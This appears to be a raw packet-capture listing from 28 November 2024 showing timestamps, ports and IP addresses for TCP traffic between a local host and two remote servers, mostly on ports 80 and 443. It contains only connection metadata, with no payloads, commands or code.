Nov 28, 2024 11:05:05.951647997 CET	443	49710	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:05.951694965 CET	49710	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:05.952053070 CET	49710	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:05.952069998 CET	443	49710	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:05.953027964 CET	49711	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:05.953041077 CET	443	49711	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:05.953095913 CET	49711	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:05.953422070 CET	49711	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:05.953429937 CET	443	49711	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:05.958146095 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:05.958213091 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:05.958233118 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:05.958271980 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:05.966228008 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:05.966319084 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:05.974510908 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:05.974565029 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:05.974579096 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:05.974608898 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:05.977837086 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:05.977902889 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:05.978451967 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:05.978514910 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:05.978593111 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:05.978635073 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:05.984859943 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:05.984885931 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:05.985059977 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:05.991245031 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:05.991317987 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:05.991374969 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:05.991411924 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:05.997684002 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:05.997750044 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.001231909 CET	443	49707	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:06.001296043 CET	443	49707	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:06.001353979 CET	49707	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:06.009397984 CET	49707	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:06.009397984 CET	49707	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:06.009414911 CET	443	49707	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:06.009433031 CET	443	49707	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:06.041863918 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.041903973 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.041939020 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.041946888 CET	49712	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:06.041964054 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.042005062 CET	443	49712	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:06.042083025 CET	49712	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:06.042309999 CET	49712	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:06.042319059 CET	443	49712	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:06.044800997 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.044861078 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.045948982 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.045983076 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.046000957 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.046016932 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.051913977 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.051970959 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.052014112 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.052053928 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.057935953 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.057992935 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.058079004 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.058118105 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.063991070 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.064052105 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.064117908 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.064156055 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.069946051 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.070003033 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.070023060 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.070061922 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.075999022 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.076051950 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.076098919 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.076153994 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.082068920 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.082123995 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.082125902 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.082160950 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.088016987 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.088049889 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.088085890 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.088109016 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.088121891 CET	49677	443	192.168.2.7	20.50.201.200
Nov 28, 2024 11:05:06.108982086 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.109019041 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.109033108 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.109055996 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.110574007 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.110625029 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.110675097 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.110711098 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.114129066 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.114176035 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.114211082 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.114248037 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.117450953 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.117497921 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.117506981 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.117542028 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.120975971 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.121017933 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.121026039 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.121052980 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.124545097 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.124603033 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.124644041 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.124682903 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.128079891 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.128122091 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.128125906 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.128158092 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.131366014 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.131411076 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.131463051 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.131500959 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.134833097 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.134886980 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.134903908 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.134974003 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.138223886 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.138277054 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.138314962 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.138355970 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.141665936 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.141696930 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.141726971 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.141745090 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.166322947 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.166388035 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.166409969 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.166454077 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.168066978 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.168117046 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.168195963 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.168243885 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.171468973 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.171623945 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.172765017 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.172821045 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.172874928 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.172918081 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.176172972 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.176232100 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.176232100 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.176275015 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.178776026 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.178841114 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.178852081 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.178884983 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.182159901 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.182216883 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.233978987 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.234023094 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.234082937 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.234121084 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.235414028 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.235460997 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.235500097 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.235543013 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.238445044 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.238498926 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.238527060 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.238569975 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.241496086 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.241552114 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.241554976 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.241588116 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.244663954 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.244719028 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.244721889 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.244761944 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.247556925 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.247620106 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.247678041 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.247721910 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.250581980 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.250648022 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.250680923 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.250726938 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.253567934 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.253635883 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.253711939 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.253761053 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.256506920 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.256571054 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.256622076 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.256673098 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.259248972 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.259336948 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.259351015 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.259393930 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.261876106 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.261929035 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.261995077 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.262033939 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.264483929 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.264620066 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.264698982 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.264698982 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.267060995 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.267116070 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.267119884 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.267159939 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.269648075 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.269707918 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.269716978 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.269758940 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.271943092 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.272000074 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.272002935 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.272043943 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.300873995 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.300940037 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.300950050 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.300991058 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.301800966 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.301845074 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.301899910 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.301937103 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.303838968 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.303878069 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.303941011 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.303982973 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.305727005 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.305771112 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.305850029 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.305886030 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.307748079 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.307810068 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.307828903 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.307848930 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.309766054 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.309825897 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.309849024 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.309884071 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.311717987 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.311764956 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.311852932 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.311892986 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.313668013 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.313710928 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.313843966 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.313883066 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.315613031 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.315650940 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.315680981 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.315716982 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.317589045 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.317631960 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.317670107 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.317717075 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.319678068 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.319767952 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.319806099 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.319845915 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.321609020 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.321657896 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.321693897 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.321739912 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.323503971 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.323551893 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.323621035 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.323664904 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.325520039 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.325572968 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.325598001 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.325645924 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.327507019 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.327559948 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.327562094 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.327610016 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.329483032 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.329544067 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.329554081 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.329596043 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.331515074 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.331562042 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.331589937 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.331640005 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.333699942 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.333751917 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.333836079 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.333870888 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.335640907 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.335686922 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.335736990 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.335772991 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.337506056 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.337555885 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.337559938 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.337599039 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.339674950 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.339718103 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.339762926 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.339807987 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.341335058 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.341384888 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.358422995 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.358478069 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.358494997 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.358536005 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.359357119 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.359401941 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.359469891 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.359512091 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.361428976 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.361465931 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.361495018 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.361524105 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.363344908 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.363394022 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.363408089 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.363455057 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.365351915 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.365400076 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.365432024 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.365475893 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.367408991 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.367459059 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.367516041 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.367556095 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.369318962 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.369369030 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.369447947 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.369487047 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.371280909 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.371320009 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.371324062 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.371373892 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.373176098 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.373224974 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.373270988 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.373317003 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.375200033 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.375246048 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.375309944 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.375359058 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.377161980 CET	80	49702	185.215.113.206	192.168.2.7
